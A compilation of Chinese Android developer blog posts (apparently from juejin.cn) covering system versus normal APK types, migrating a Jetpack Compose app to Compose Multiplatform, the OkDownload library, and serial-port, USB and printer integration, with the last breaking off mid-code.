大牛:“没问题小昱,千万不要慌,一口吃不成一个胖子,那我就先从Apk的类型说起吧,Apk从大类上主要分为系统Apk和普通Apk,而系统Apk还可以继续分类,你刚刚提到的privileged Apk就属于系统Apk的一种,那我就先从最复杂的系统Apk说起吧。”
2. 系统Apk
大牛:“Android中像launcher、systemui、setting、camera、gallery等Apk都是系统Apk,能成为系统Apk可是很多普通Apk梦寐以求的事情啊,因为系统Apk相对于普通Apk确实有很多的特权....."
小昱突然礼貌性的打断了大牛的讲话:“大牛,这也是我正想知道的事情,一个Apk需要具备什么样的特性才能成为系统Apk,或者PackageManagerService是根据啥来识别一个Apk是系统Apk的,这个事情一直困扰着我,让我久久不能睡眠。快点告诉我吧,我实在太想知道答案了。”
2.1 如何成为系统Apk
大牛:“这个问题的答案非常的简单,PackageManagerService服务是根据Apk所处的目录来判断Apk到底是系统Apk还是普通Apk的,我特意绘制了一幅图,展示了系统Apk所存放的所有目录,凡是Apk存放于以下目录都是系统Apk。”
小昱有些不敢相信的说:“啊!难道就这么简单吗?如果是这么简单,那我也可以把一个普通Apk放入这些目录下面,就可以让它变成系统Apk了。”
听了小昱的话,大牛有些好笑又有些气愤,心里默念不知者不为过,说:“把普通Apk放入这些目录,这不是开国际玩笑嘛,要想把普通Apk放入这些目录除非有root权限,否则别白日做梦啊。系统Apk确实就是根据Apk所存放的目录来决定的,那就听我细细道来吧。”
还记得在PackageManagerService服务启动的时候会做一件非常重要的事情扫描所有Apk (不记得可以看这篇文章),扫描所有Apk分为扫描所有系统Apk和扫描所有普通Apk,而扫描所有系统Apk需要做如下几个关键事情:
- 首先要依次扫描system、odm、oem、product、system_ext、vendor、apex这几个目录 (这几个目录定义在Partition类)
- 而在扫描这些目录的时候会增加一些scan flags值,其中对所有目录都要增加的一个值是SCAN_AS_SYSTEM,而不同的目录也会增加自己对应的scan flags值。比如扫描odm目录会增加SCAN_AS_ODM 和 SCAN_AS_SYSTEM 值,扫描product目录会增加SCAN_AS_PRODUCT 和 SCAN_AS_SYSTEM 值 (这些scan值定义在PackageManagerService类)
- 扫描Apk的其中一个环节是解析Apk信息,而解析完的Apk信息会存储在ParsedPackage对象中,进而再根据上面的 scan flags 值,对ParsedPackage对象的相应属性进行设置,比如是否是系统Apk,是否是product apk等。如下是相关代码:
//ScanPackageUtils类
//该方法会用scanFlags来设置parsedPackage的相应属性
public static void applyPolicy(ParsedPackage parsedPackage,
final @PackageManagerService.ScanFlags int scanFlags, AndroidPackage platformPkg,
boolean isUpdatedSystemApp) {
//scanFlags有SCAN_AS_SYSTEM,则是系统Apk
if ((scanFlags & SCAN_AS_SYSTEM) != 0) {
//setSystem为true,则认为是系统apk
parsedPackage.setSystem(true);
省略代码······
}
省略代码······
//根据scanFlags值设置是否是Oem、product等等
parsedPackage.setPrivileged((scanFlags & SCAN_AS_PRIVILEGED) != 0)
.setOem((scanFlags & SCAN_AS_OEM) != 0)
.setVendor((scanFlags & SCAN_AS_VENDOR) != 0)
.setProduct((scanFlags & SCAN_AS_PRODUCT) != 0)
.setSystemExt((scanFlags & SCAN_AS_SYSTEM_EXT) != 0)
.setOdm((scanFlags & SCAN_AS_ODM) != 0);
省略代码······
}
小昱:“大牛,我看了你的解释后,终于明白了,也就是说在PackageManagerService执行扫描Apk的过程,不同的目录会携带不同的scan flags值,最终根据该值来判断是不是系统Apk。”
大牛:“是的非常正确,还有一个点要说下系统Apk的安装是在PackageManagerService的扫描阶段完成的,不像普通Apk是有安装界面一说的。那咱们接着介绍下系统Apk的分类吧,系统Apk可以按存放的目录分类,也可以按Apk所具备的能力或特性分类,那就先从前者开始介绍吧。”
2.2 按存放目录分类
下图展示了系统Apk可以存放的目录及其子目录,请看下图:
如上图,系统Apk可以存放于/system、/system_ext、/product、/vendor、/odm、/oem、/apex这几个目录下面的子目录中,而系统Apk的分类又可以按根目录分类也可以按按子目录分类。
2.2.1 按根目录分类
系统Apk根据存放的根目录可以划分为vendor Apk、product Apk、systemExt Apk、system Apk、odm Apk、oem Apk (由于存放在apex根目录下的Apk不是咱们的重点因此在这不予介绍)。
2.2.2 按子目录分类
系统Apk一般主要存放于各自根目录下的/app、/priv_app、/overlay这三个子目录中,为啥这里用了一般这个词呢,因为对于system根目录来说,它的framework子目录也是可以存放系统Apk的,比如framework-res.apk就存放于此。
存放于/priv-app子目录的系统Apk又被称为privileged Apk (特权Apk),存放于/overlay子目录的系统Apk又被称为overlay Apk,既不是privileged Apk也不是overlay Apk的系统Apk,是存放于/app子目录的。那就来介绍下privileged Apk和overlay Apk
privileged Apk
privileged Apk翻译为中文是特权Apk,该种类型Apk主要存放于/priv-app目录下,这里的特权是特殊权限 (privileged permission)的简称,Apk使用的权限是有很多种的比如危险权限、normal权限等,而特殊权限是其中一种。
privileged Apk也就是该类型的Apk是可以使用特殊权限的,其他类型Apk是不可以使用特殊权限的。也就是特殊权限只归privileged Apk使用,但并不是说privileged Apk只可以使用特殊权限,它还可以使用别的权限。
要变为该类型的Apk,其实特别简单只需要把Apk放入上面提到的几个目录下面的 /priv-app 目录中即可,如/product/priv-app、/system/priv-app等。在扫描所有系统Apk的过程中,针对priv-app目录,会增加SCAN_AS_PRIVILEGED的flag值。如果在privileged Apk的AndroidManifest.xml文件中使用了特殊权限,那需要在对应的特权名单内把所有的特殊权限都加入,否则会导致系统启动不了,如下是一个特权名单的例子:
//特权名单的名字是 包名.xml(如android/com.example.myapplication2.xml),并且需要放在对应 xxx/etc/permissions 目录下,xxx代表系统apk存放的根目录,如product、system等
<permissions>
<privapp-permissions package="com.example.myapplication2">
//permission代表授予某个特殊权限
<permission name="android.permission.STATUS_BAR"/>
//deny-permission代表拒绝某个特殊权限
<deny-permission name="android.permission.READ_PRIVILEGED_PHONE_STATE"/>
</privapp-permissions>
</permissions>
overlay Apk
该种类型的Apk主要存放于overlay子目录下,该种类型的Apk不包含任何的代码,只包含资源,该资源是res目录下的资源。该Apk的作用就是起到换肤的作用。当然这种类型的Apk只是对相应系统Apk进行换肤操作,而不会影响普通Apk。
2.2.3 小结
系统Apk可以按根目录分类也可以按子目录分类,比如存放于/product/priv-app/目录下的Apk,该Apk既是product Apk,也是privileged Apk。存放于/system/app/目录下的Apk,就是一个system Apk即系统Apk。
2.3 按Apk所具备的能力或特性分类
系统Apk按Apk所具备的能力或特性可以分为core Apk 和 persistent Apk,那就来介绍下它们。
core Apk
core Apk翻译为中文是核心Apk,用一句话总结该Apk就是说当Android设备配置特别特别低端的时候,其他的Apk都可以不要,但是core Apk是必须的。该类型的Apk会在PackageManagerService服务启动的时候前置于其他Apk创建data目录。像systemui都属于该类型的Apk。
要变为该类型的Apk,只需要在AndroidManifest.xml文件中,增加 coreApp="true" 即可,如下例子:
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
package="com.android.systemui"
android:sharedUserId="android.uid.systemui"
coreApp="true">
persistent Apk
persistent Apk翻译为中文是持久的Apk,是啥子意思呢?就是说该类别的Apk在App运行过程中,如果意外退出了,系统还会把它给拉起,让它继续保持运行状态。并且在Android设备启动后,是会把所有符合情况的persistent Apk提前启动,如下是相关代码:
//ActivityManagerService类
//该方法会在系统准备好后开始调用
void startPersistentApps(int matchFlags) {
if (mFactoryTest == FactoryTest.FACTORY_TEST_LOW_LEVEL) return;
synchronized (this) {
try {
//从PackageManagerService获取符合条件的persistent App
final List<ApplicationInfo> apps = AppGlobals.getPackageManager()
.getPersistentApplications(STOCK_PM_FLAGS | matchFlags).getList();
for (ApplicationInfo app : apps) {
if (!"android".equals(app.packageName)) {
//启动它们
final ProcessRecord proc = addAppLocked(
app, null, false, null /* ABI override */,
ZYGOTE_POLICY_FLAG_BATCH_LAUNCH);
省略代码······
}
}
} catch (RemoteException ex) {
}
}
}
小昱:“那一个Apk如何变为该类型Apk呢?”
大牛:“答案很简单,只需要在AndroidManifest.xml文件的application tag中加入android:persistent="true"即可,该配置只有对系统Apk才有效。如下例子。”
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
xmlns:tools="http://schemas.android.com/tools">
<application
android:persistent="true">
2.4 小结
- 系统Apk按Apk存放的根目录可以分为vendor Apk、product Apk、systemExt Apk、system Apk、odm Apk、oem Apk
- 系统Apk按Apk存放的子目录可以分为privileged Apk、overlay Apk
- 系统Apk按Apk所具备的能力或特性可以分为persistent Apk、core Apk
大牛:“我从按目录分类和按Apk所具备的能力或特性分类两个方面来介绍系统Apk的分类,而这两个方面分类的系统Apk是可以进行随机组合的。”
小昱:“随机组合?这是啥意思吗?”
大牛:“小昱别急啊,我正要说呢,比如存放于/vendor/priv-app/目录下的Apk是可以配置为persistent Apk或者core Apk甚至这两种类型都可以配置,这样这个Apk可以是vendor privileged persistent类型的Apk或者是vendor privileged core类型的Apk或者是vendor privileged persistent core类型的Apk。这就是它们可以随即组合的意思。好那我来介绍相对简单的普通Apk。”
3. 普通Apk
普通Apk就很简单了,别看微信、抖音是超级Apk,但是它们依然逃脱不了普通Apk的命运,普通Apk被安装后Apk文件是被存放于/data/app目录下的,普通Apk因为它不是系统Apk,因此它也不可能是vendor Apk或者上面提到的其他类型Apk,甚至也不能是persistent Apk和core Apk。在PackageManagerService扫描所有普通Apk时是没有加像扫描系统Apk那些scan flags值的,因此扫描完所有普通Apk后,这些Apk只能被识别为普通Apk。
下面是相关代码,请自行取阅:
//InitAppsHelper 类
//扫描所有普通Apk
public void initNonSystemApps(PackageParser2 packageParser, @NonNull int[] userIds,
long startTime) {
if (!mIsOnlyCoreApps) {
省略代码······
//其中 mPm.getAppInstallDir() 获取的值是 data/app,而 mScanFlags值是没有增加扫描系统Apk的那些 scan flag值的
scanDirTracedLI(mPm.getAppInstallDir(), /* frameworkSplits= */ null, 0,
mScanFlags | SCAN_REQUIRE_KNOWN,
packageParser, mExecutorService);
}
省略代码······
}
4. 总结
大牛:“小昱,关于Apk类型的知识就介绍完了,那我来介绍下系统Apk与普通Apk的主要区别,以及系统Apk具有哪些特权来作为结尾吧。”
先来说下它们区别:
- 系统Apk的安装主要是在PackageManagerService启动时候扫描所有Apk的阶段;而普通Apk的安装是需要通过用户来安装,在安装过程是有安装界面的。
- 系统Apk使用Android.bp来配置编译信息;而普通Apk使用gradle进行编译。
- 系统Apk是不可以被用户卸载的;而普通Apk是可以被用户卸载的。
- 系统Apk的Apk文件是存放在/system、/system_ext、/product、/vendor、/odm、/oem、/apex目录下的子目录中;而普通Apk被安装后Apk文件是存放在/data/app目录下的。
- 系统Apk拥有很多的特权;而普通Apk啥也没有。
不想当CTO的程序员不是好程序员,不想成为系统Apk的普通Apk不是好Apk,那就来说说系统Apk到底有多大的魅力,让普通Apk这么着迷吧。
- 有些系统Apk希望自己的uid是1000,也就是和systemserver进程一样的uid,那就需要在该Apk的AndroidManifest.xml文件中配置android:sharedUserId="android.uid.system"。该Apk的uid是1000后那做的事情可就多了,比如可以访问systemserver进程的各种文件。
- 系统Apk若配置为persistent Apk的话,就可以保持长久运行了。
- 若在内存紧张的情况下,普通App被杀掉的概率要远大于系统App。
当然上面只是列出了一些系统Apk相对于普通Apk的优势,其实还有很多没有列出来,关于Apk类型的介绍就到此为止。
欢迎关注我的公众号–牛晓伟(搜索或者点击牛晓伟链接)
Android framework和App 进阶是我的知识星球,有兴趣的同学可以加入,跟我一起进阶Android framework和App知识。
来源:juejin.cn/post/7433074970605551653
实战:把一个现有的Compose项目转化为CMP项目
通过前面两篇文章的学习,我们已经对CMP有了一定的了解,接下来要进入实战阶段。在现实的世界中极小数项目会从0开始,今天重点研究一下如何把一个现成的用Jetpack Compose开发的Android项目转成CMP项目。
总体思路
在前面的文章Compose大前端从上车到起飞里面我们学习到了,CMP对Android开发同学是相当友好的,CMP项目与Android项目在项目结构上面是非常相似的。并且因为CMP的开发IDE就是Android Studio,因此,可以直接把一个Android项目改造成为CMP项目,而不是创建一个全新的CMP项目之后把项目代码移动进去。
具体的步骤如下:
- 添加CMP的插件,添加源码集合,配置CMP的依赖
- 把代码从「androidMain」移动到「commonMain」中去
- 把资源转换成为CMP方式
- 添加并适配其他平台
小贴士: 针对 不同的类型的任务需要采取 不同的策略,比如开发功能的时候使用「自上而下」的方式要更为好一些,因为先关注大粒度的组件,类与方法,不被细节拖住,更有利于我们看清架构和优先解决掉重点问题;但当做移植任务时,应该采用「自下而上」,因为依赖是一层套一层,先把下面的移好,上面的自然就会更加容易。
这里选用的项目是先前用纯Jetpack Compose开发的一款天气应用,项目比较简单,依赖不多,完全是用Jetpack Compose实现的UI,也符合现代应用开发架构原则,非常适合当作案例。
注意: 其实这里的项目并没有严格要求,只要是一个能运行的Android项目即可,其他的(是不是Jetpack Compose实现的,用的是不是Kotlin)并不是最关键的。因为CMP项目对于每个源码集合本身并没有明确的要求,前面的文章也讲了,每个平台的源码集合,其实就是其平台的完整的项目。移植的目的就是把 可共用共享 的代码从现有项目中抽出来放进「commonMain」中,即可以是原有的业务逻辑,也可以是新开发的代码。采用新技术或者新工具的一个非常重要的原则 就是要循序渐进,不搞一刀切。如果时间不充裕,完全可以新功能和新代码先用CMP方式开发,老代码暂且不动它,待日后慢慢再移植。当然了,纯Jetpack Compose实现的项目移植过程会相对容易一些。
下面我们进行详细的一步一步的实践。
配置CMP的插件,源码集合和依赖
首先要做的是配置Gradle构建插件(这是把Gradle常用的Tasks等打包成为一个构建 插件,是编译过程中使用的):
- 使用Kotlin Multiplatform(「org.jetbrains.kotlin.multiplatform」)替换Kotlin Android(「org.jetbrains.kotlin.android」),这个主要是Kotlin语言的东西,版本号就是Kotlin的版本号,注意要与其他(如KSP,如Coroutines)版本进行匹配;
- 添加Compose compiler(「org.jetbrains.kotlin.plugin.compose」)的插件,版本号要与Kotlin版本号保持一致;
- 以及添加Compose Multiplatform(org.jetbrains.compose」)插件,版本号是CMP的版本号。
注意,构建插件配置是修改项目根目录的那个build.gradle.kts:
// Top-level build file where you can add configuration options common to all sub-projects/modules.
plugins {
id("com.android.application") version "8.1.4" apply false
id("com.android.library") version "8.1.4" apply false
id("org.jetbrains.kotlin.multiplatform") version "2.0.21" apply false
id("com.google.devtools.ksp") version "2.0.21-1.0.28" apply false
id("org.jetbrains.kotlin.plugin.compose") version "2.0.21" apply false
id("org.jetbrains.compose") version "1.7.0" apply false
}
之后是修改module的build.gradle.kts,先是启用需要的插件,然后是添加kotlin相关的配置(即DSL kotlin {...}),在其中指定需要编译的目标,源码集合以及其依赖,具体的可以仿照着CMP的demo去照抄就好了。对于依赖,可以把其都从顶层DSL dependencies中移动到androidMain.dependencies里面,如果有无法移动的就先放在原来的位置,暂不动它,最终build.gradle.kts会是酱紫:
plugins {
id("com.android.application")
id("com.google.devtools.ksp")
id("org.jetbrains.kotlin.multiplatform")
id("org.jetbrains.kotlin.plugin.compose")
id("org.jetbrains.compose")
}
kotlin {
androidTarget {
@OptIn(org.jetbrains.kotlin.gradle.ExperimentalKotlinGradlePluginApi::class)
compilerOptions {
jvmTarget.set(org.jetbrains.kotlin.gradle.dsl.JvmTarget.JVM_17)
}
}
sourceSets {
androidMain.dependencies {
// Jetpack
implementation("androidx.core:core-ktx:1.15.0")
implementation("androidx.appcompat:appcompat:1.7.0")
implementation("androidx.activity:activity-compose:1.9.3")
val lifecycleVersion = "2.8.7"
implementation("androidx.lifecycle:lifecycle-runtime-ktx:$lifecycleVersion")
implementation("androidx.lifecycle:lifecycle-runtime-compose:$lifecycleVersion")
implementation("androidx.lifecycle:lifecycle-viewmodel-compose:$lifecycleVersion")
val navVersion = "2.8.4"
implementation("androidx.navigation:navigation-runtime-ktx:$navVersion")
implementation("androidx.navigation:navigation-compose:$navVersion")
implementation("androidx.datastore:datastore-preferences:1.1.1")
// Google Play Services
implementation("com.google.android.gms:play-services-location:21.3.0")
// Compose
implementation(compose.preview)
implementation(project.dependencies.platform("androidx.compose:compose-bom:2024.02.00"))
implementation("androidx.compose.ui:ui")
implementation("androidx.compose.ui:ui-graphics")
implementation("androidx.compose.ui:ui-tooling-preview")
implementation("androidx.compose.material3:material3")
implementation("androidx.compose.material:material")
// Network
implementation("com.google.code.gson:gson:2.10.1")
implementation("com.squareup.retrofit2:retrofit:2.9.0")
implementation("com.squareup.retrofit2:converter-gson:2.9.0")
implementation("com.squareup.okhttp3:logging-interceptor:4.12.0")
// Accompanist
implementation("com.google.accompanist:accompanist-permissions:0.32.0")
}
commonMain.dependencies {
implementation(compose.runtime)
implementation(compose.foundation)
implementation(compose.material)
implementation(compose.ui)
implementation(compose.components.resources)
implementation(compose.components.uiToolingPreview)
val lifecycleVersion = "2.8.3"
implementation("org.jetbrains.androidx.lifecycle:lifecycle-viewmodel:$lifecycleVersion")
implementation("org.jetbrains.androidx.lifecycle:lifecycle-runtime-compose:$lifecycleVersion")
}
}
}
android { ... }
dependencies { ... }
最后,把DSL android {...}中不支持的字段删除掉即可,如kotlinOptions,它用来指定Kotlin JVM target的,现改在DSL kotlin中的androidTarget()中指定了,但要注意Kotlin的JVM target要与android中的compileOptions的sourceCompatibility以及targetCompatibility版本保持一致,比如都是17或者都是11,否则会有编译错误。
需要特别注意的是DSL kotlin中的源码集合名字要与真实的目录一致,否则编译会出错。建议的方式就是依照CMP的demo那样在module中去创建androidMain和commonMain即可。另外,可以把module名字从「app」改为「composeApp」,然后把运行配置从「app」改为「androidApp」,这下就齐活儿了:
CMP的插件和依赖配置好了以后,运行「androidApp」应该就可以正常运行。因为仅是配置一些依赖,这仍是一个完整的Android应用,应该能够正常运行。这时第一步就做完了,虽然看起来貌似啥也没干,但这已经是一个CMP项目了,基础打好了,可以大步向前了。
小贴士: 通过配置依赖可以发现,CMP的artifact依赖都是以org.jetbrans.*开头的,哪怕是对于Compose本身,纯Android上面Jetpack Compose的依赖是「"androidx.compose.ui:ui"」,而CMP中的则是「"org.jetbrains.compose.ui:ui"」。虽然都是Jetpack Compose,代码是兼容的,但技术上来讲是两个不同的实现。确切地说JetBrains的Compose是从谷歌的上面fork出来的一个分支,以让其更好的适用于CMP,但完全兼容,标准的Compose代码都是能正常跑的。
把代码从「androidMain」移动到「commonMain」
这是最关键的一步了,也是最难啃的硬骨头,具体的难度取决于项目中使用了多少「不兼容」的库和API。Compose和Jetpack中的绝大多数库都是支持的,可以在CMP中使用,可以无缝切换,这是JetBrains和Google共同努力的结果,谷歌现在对CMP/KMP的态度非常的积极,给与「第一优先支持(First class support)」。所以对于依赖于room,navigation,material和viewmodel的代码都可以直接移到common中。
也就是说对于data部分,model部分以及domain部分(即view models)都可以直接先移到common中,因为这些层,从架构角度来说都属于业务逻辑,都应该是平台独立的,它们的主要依赖应该是Jetpack以及三方的库,这些库大多也都可以直接跨平台。
当然,不可能这么顺利,因为或多或少会用到与平台强相关的API,比如最为常见的就是上下文对象(Context)以及像权限管理和硬件资源(如位置信息),这就需要用到平台定制机制(即expect/actual)来进行定制。
可能有同学会很奇怪,为啥UI层还不移动到common中,UI是用Compose写的啊,而Compose是可以直接在CMP上跑的啊。Compose写的UI确实可以直接跑,但UI必然会用到资源,必须 先把资源从android中移到common中,否则UI是跑不起来的。
把资源转化成为CMP方式
在前一篇文章Compose大前端从上车到起飞有讲过CMP用一个库resources来专门处理资源,规则与Android开发管理资源的方式很像,所以可以把UI用到的资源移动到common中的composeResources里面,就差不多了。
但需要特别注意,不要把全部的资源都从androidMain中移出,只需要把UI层用到的那部分资源移出即可。androidMain中至少要把Android强相关的资源留下,如应用的icon,应用的名字,以及一些关键的需要在manifest中使用的xml等。这是因为这些资源是需要在Android应用的配置文件AndroidManifest中使用的,所以必须还放在android源码集中。
资源文件移动好后,就可以把UI移动到common中了,最后一步就是使用CMP的资源类Res代替Android的资源类R即可。
到此,就完成了从Android项目到CMP项目的转变。
添加并适配其他平台
前面的工作做好后,再适配其他的平台就非常容易了,添加其他平台的target和入口(可以仿照CMP的demo),然后实现相关的expect接口即可。由此,一个大前端 项目就彻底大功告成了。
总结
CMP对项目结构中源码 集合 的限制 并不多,每个平台相关的sourceSet可以保持其原来的样子,这对现有项目是非常友好的,可以让现有的项目轻松的转成为CMP项目,这也是CMP最大的一个优势。
References
- Jetpack Compose to Compose Multiplatform: Transition Guide
- How to convert Kotlin project to Kotlin Multiplatform Mobile after the project completion?
- From Android to Multiplatform: Migrating real 100% Jetpack Compose App to fully Multiplatform App. Intro
欢迎搜索并关注 公众号「稀有猿诉」 获取更多的优质文章!
保护原创,请勿转载!
来源:juejin.cn/post/7441956051438682138
1. OkDownload功能使用与文件下载的大致流程
Author: istyras
Date: 2024-10-12
Update: 2024-10-12
0. OkDownload 组件
OkDownload 组件,是由流利说App开发团队开发并开源的一款强大的文件下载功能组件。
1. 简单使用
1.1. 启动一个下载任务与取消任务
DownloadTask task = new DownloadTask.Builder(url, parentFile)
.setFilename(filename)
// the minimal interval millisecond for callback progress
.setMinIntervalMillisCallbackProcess(30)
// do re-download even if the task has already been completed in the past.
.setPassIfAlreadyCompleted(false)
.build();
task.enqueue(listener);
// cancel
task.cancel();
// execute task synchronized
task.execute(listener);
1.2. 启动多个任务和取消
// This method is optimize specially for bunch of tasks
DownloadTask.enqueue(tasks, listener);
// cancel, this method is also optmize specially for bunch of tasks
DownloadTask.cancel(tasks);
1.3. 下载任务队列的启动与取消
DownloadContext.Builder builder = new DownloadContext.QueueSet()
.setParentPathFile(parentFile)
.setMinIntervalMillisCallbackProcess(150)
.commit();
builder.bind(url1);
builder.bind(url2).addTag(key, value);
builder.bind(url3).setTag(tag);
builder.setListener(contextListener);
DownloadTask task = new DownloadTask.Builder(url4, parentFile)
.setPriority(10).build();
builder.bindSetTask(task);
DownloadContext context = builder.build();
context.startOnParallel(listener);
// stop
context.stop();
上述就是简单的使用
OkDownload
进行文件下载的方式。
下面我们开始分析 OkDownload
进行文件下载时的大致流程,在进行分析的时候,如果对于文件下载的流程不熟悉的同学,建议先阅读本系列的开篇文章 《0. 由浅到深地阐述文件下载的原理》,以便能够更好的理解我们接下来对 OkDownload
这款强大的文件下载组件的框架设计。
2. OkDonwload 文件下载的大致流程分析
在阅读和分析源码的情况下,我们可以通过 OkDownload
的下载监听的回调流程来理解其内部的下载流程。
2.1. 简单的下载流程回调
如图所示,简单的文件下载流程,从任务开始->任务连接->进度回调->任务结束。其中还有一个失败重试的过程。
2.2. 稍复杂的下载流程回调
如图所示,在这个稍复杂的下载流程回调中,增加了连接相关的流程( connectStart
, connectEnd
)和 分片下载的相关流程( processBlock
, blockEnd
)。
2.2.1. 连接相关的流程
连接流程,处理的是真正下载开始之前,预请求资源地址,获得下载的目标资源相关的一些信息(比如:资源大小、是否支持分片下载等等),同时可以判断给定的地址是否需要重定向,判断目标地址是否有效。
当然,由于 OkDownload
支持断点续传、分片下载,所以在连接检查的过程中,同时还会结合本地已经完成的部分记录信息,对已完成部分,以及没有完成部分进行更严格的校验。
所有的校验,都只有一个目的:为了确保下载的资源文件完整与正确。
2.2.2. 进度回调流程
因为支持分片下载,所以下载进度的回调细分的话,还有每个分片部分的流程回调,而整体进度的回调会汇总每个分片的进度总和进行回调出来,这样对于使用方来说就能够得到目标资源的实际的下载进度。
2.3. 完整的下载流程回调
如图所示,完整的下载流程回调中,增加了 断点续传
的状态回调,同时在分片下载的流程中还详细的回调了单块文件下载的全部状态流程。
到此为止,我们对 OkDownload
有粗略地了解,后续我们将开始对其源码进行详细的分析。
来源:juejin.cn/post/7425932970593779738
Android串口,USB,打印机,扫码枪,支付盒子,键盘,鼠标,U盘等开发使用一网打尽
众里寻他千百度,蓦然回首,那人却在灯火阑珊处
一、前言
在Android智能设备开发过程中,难免会遇到串口,USB,扫码枪,支付盒子,打印机,键盘,鼠标等接入场景,其实这些很简单,只是大多数情况下,大家都在做手机端的App开发,接触这方面的很少。本文重点介绍下这些在Android系统下是怎么接入使用的。
二 、串口接入使用
1. 可以到官网下载串口包 里面含有 libprt_serial_port.so
这个库,下载下来按照so使用方式
接入就行了,还有 SerialPort
类:如下:
public class SerialPort {
private static final String TAG = "SerialPort";
/*
* Do not remove or rename the field mFd: it is used by native method close();
*/
private FileDescriptor mFd;
private FileInputStream mFileInputStream;
private FileOutputStream mFileOutputStream;
public SerialPort(File device, int baudrate, int flags) throws SecurityException, IOException {
mFd = open(device.getAbsolutePath(), baudrate, flags);
if (mFd == null) {
Log.e(TAG, "native open returns null");
throw new IOException();
}
mFileInputStream = new FileInputStream(mFd);
mFileOutputStream = new FileOutputStream(mFd);
}
// Getters and setters
public InputStream getInputStream() {
return mFileInputStream;
}
public OutputStream getOutputStream() {
return mFileOutputStream;
}
// JNI
private native static FileDescriptor open(String path, int baudrate, int flags);
public native void close();
static {
System.loadLibrary("serial_port");
}
}
2. 使用串口读取或者写入数据
需要配置串口路径和波特率,如下:路径为:/dev/ttyS4, 波特率为9600
,这2个参数是硬件厂商约定好的。
val serialPort = SerialPort(File("/dev/ttyS4"), 9600, 0);
读写数据需要从串口里面拿到 输入输出流:
inputStream = serialPort.inputStream //
outputStream = serialPort.outputStream
比如读取数据:
val length = inputStream!!.available()
val bytes = new byte[length];
inputStream.read(bytes);
到此,串口的使用基本就完成了。
至于串口读取后的数据怎么解析?
需要看串口数据的文档,不同硬件设备读取的不同内容出来格式不一样,按照厂商给的格式文档解析就完了,比如,串口连接的是秤,秤厂商硬件那边约定好的数据格式是怎样的,数据第1位什么意思,第2到第X位什么意思,xxx位什么意思,这不同的厂商不同的,如果串口连接的不是秤,是其他硬件,约定的格式可能又不一样。
同理:
串口写数据,使用 outputStream
流写入就行了, 写的具体内容,具体硬件厂商会有写入的文档,写入哪个数据是干什么用的,都在文档里面有。不同的写入功能,对应不同的写入内容命令。
三 、USB接入使用
1、在AndroidManifest中添加USB使用配置
<uses-permission android:name="android.permission.USB_PERMISSION" />
<uses-feature android:name="android.hardware.usb.host" />
<meta-data android:name="android.hardware.usb.action.USB_DEVICE_ATTACHED" />
<meta-data android:name="android.hardware.usb.action.USB_DEVICE_DETACHED" />
2、防止USB插入拔出导致Activity生命周期发生变化需要在Activity 下添加配置
android:configChanges="orientation|screenSize|smallestScreenSize|keyboard|keyboardHidden|navigation"
3、代码中具体使用:
比如接入USB打印机:
//拿到USB管理器
mUsbManager = context.getSystemService(Context.USB_SERVICE) as UsbManager
mPermissionIntent = PendingIntent.getBroadcast(context, 0, Intent(ACTION_USB_PERMISSION), 0)
val filter = IntentFilter(USBPrinter.ACTION_USB_PERMISSION)
filter.addAction(UsbManager.ACTION_USB_DEVICE_DETACHED)
//注册监听USB插入拔出监听广播
context.registerReceiver(mUsbDeviceReceiver, filter)
//开始检索出已经连接的USB设备
setUsbDevices()
找到打印机设备,打印机设备的接口类型值固定式为7(usbInterface.interfaceClass)
/**
* 检索usb打印设备
*/
private fun setUsbDevices() {
// 列出所有的USB设备,并且都请求获取USB权限
mUsbManager?.deviceList?.let {
for (device in it.values) {
val usbInterface = device.getInterface(0)
if (usbInterface.interfaceClass == 7) {
//连接了多个USB打印机设备需要 判断vid,pid,(硬件厂商会给这个值的)来确定哪一个打印机
//检查该USB设备是否有权限
if (!mUsbManager!!.hasPermission(device)) {
//申请该打印机USB权限
mUsbManager!!.requestPermission(device, mPermissionIntent)
} else {
connectUsbPrinter(device)
}
break
}
}
}
}
USB权限广播action收到后,就可以连接打印了
private val mUsbDeviceReceiver = object : BroadcastReceiver() {
override fun onReceive(context: Context, intent: Intent) {
val action = intent.action
if (ACTION_USB_PERMISSION == action) {
synchronized(this) {
val usbDevice = intent.getParcelableExtra<UsbDevice>(UsbManager.EXTRA_DEVICE)
if (intent.getBooleanExtra(UsbManager.EXTRA_PERMISSION_GRANTED, false)) {
//UsbDevice:在Android开发中用于表示连接到Android设备的USB设备
mUsbDevice = usbDevice
if (mUsbDevice != null) {
connectUsbPrinter(mUsbDevice)
}
} else {
WLog.e(this, "Permission denied for device $usbDevice")
}
}
} else if (UsbManager.ACTION_USB_DEVICE_ATTACHED == action) {
//USB插入了
} else if (UsbManager.ACTION_USB_DEVICE_DETACHED == action) {
//USB拔出了
if (mUsbDevice != null) {
WLog.e(this, "Device closed")
if (mUsbDeviceConnection != null) {
mUsbDeviceConnection!!.close()
}
}
}
}
}
四、打印机的使用
Android上面的打印机大多数是USB连接的打印机,还有蓝牙打印机。下面重点介绍USB打印机的使用:
在前面代码里找到USB打印设备后,我们需要拿到打印机的 UsbEndpoint
,如下:
//UsbEndpoint:表示USB设备的单个端点。USB协议中,端点是用于发送和接收数据的逻辑
private var printerEp: UsbEndpoint? = null
private var usbInterface: UsbInterface? = null
fun connectUsbPrinter(mUsbDevice: UsbDevice?) {
if (mUsbDevice != null) {
usbInterface = mUsbDevice.getInterface(0)
for (i in 0 until usbInterface!!.endpointCount) {
val ep = usbInterface!!.getEndpoint(i)
if (ep.type == UsbConstants.USB_ENDPOINT_XFER_BULK) {
if (ep.direction == UsbConstants.USB_DIR_OUT) {
mUsbManager?.let {
//与USB设备建立连接
mUsbDeviceConnection = mUsbManager!!.openDevice(mUsbDevice)
//拿到USB设备的端点
printerEp = ep //拿到UsbEndpoint
}
}
}
}
}
}
开始打印:写入打印数据:
/**
* usb写入
*
* @param bytes
*/
fun write(bytes: ByteArray) {
if (mUsbDeviceConnection != null) {
try {
mUsbDeviceConnection!!.claimInterface(usbInterface, true)
//注意设定合理的超时值,以避免长时间阻塞
val b = mUsbDeviceConnection!!.bulkTransfer(printerEp, bytes, bytes.size, USBPrinter.TIME_OUT)
mUsbDeviceConnection!!.releaseInterface(usbInterface)
} catch (e: Exception) {
e.printStackTrace()
}
}
}
一般通用USB打印命令都是ESC打印命令如下:
初始化打印机指令
//初始化打印机
public static byte[] init_printer() {
byte[] result = new byte[2];
result[0] = ESC;
result[1] = 0x40;
return result;
}
打印位置设置为居左对齐指令
/**
* 居左
*/
public static byte[] alignLeft() {
byte[] result = new byte[3];
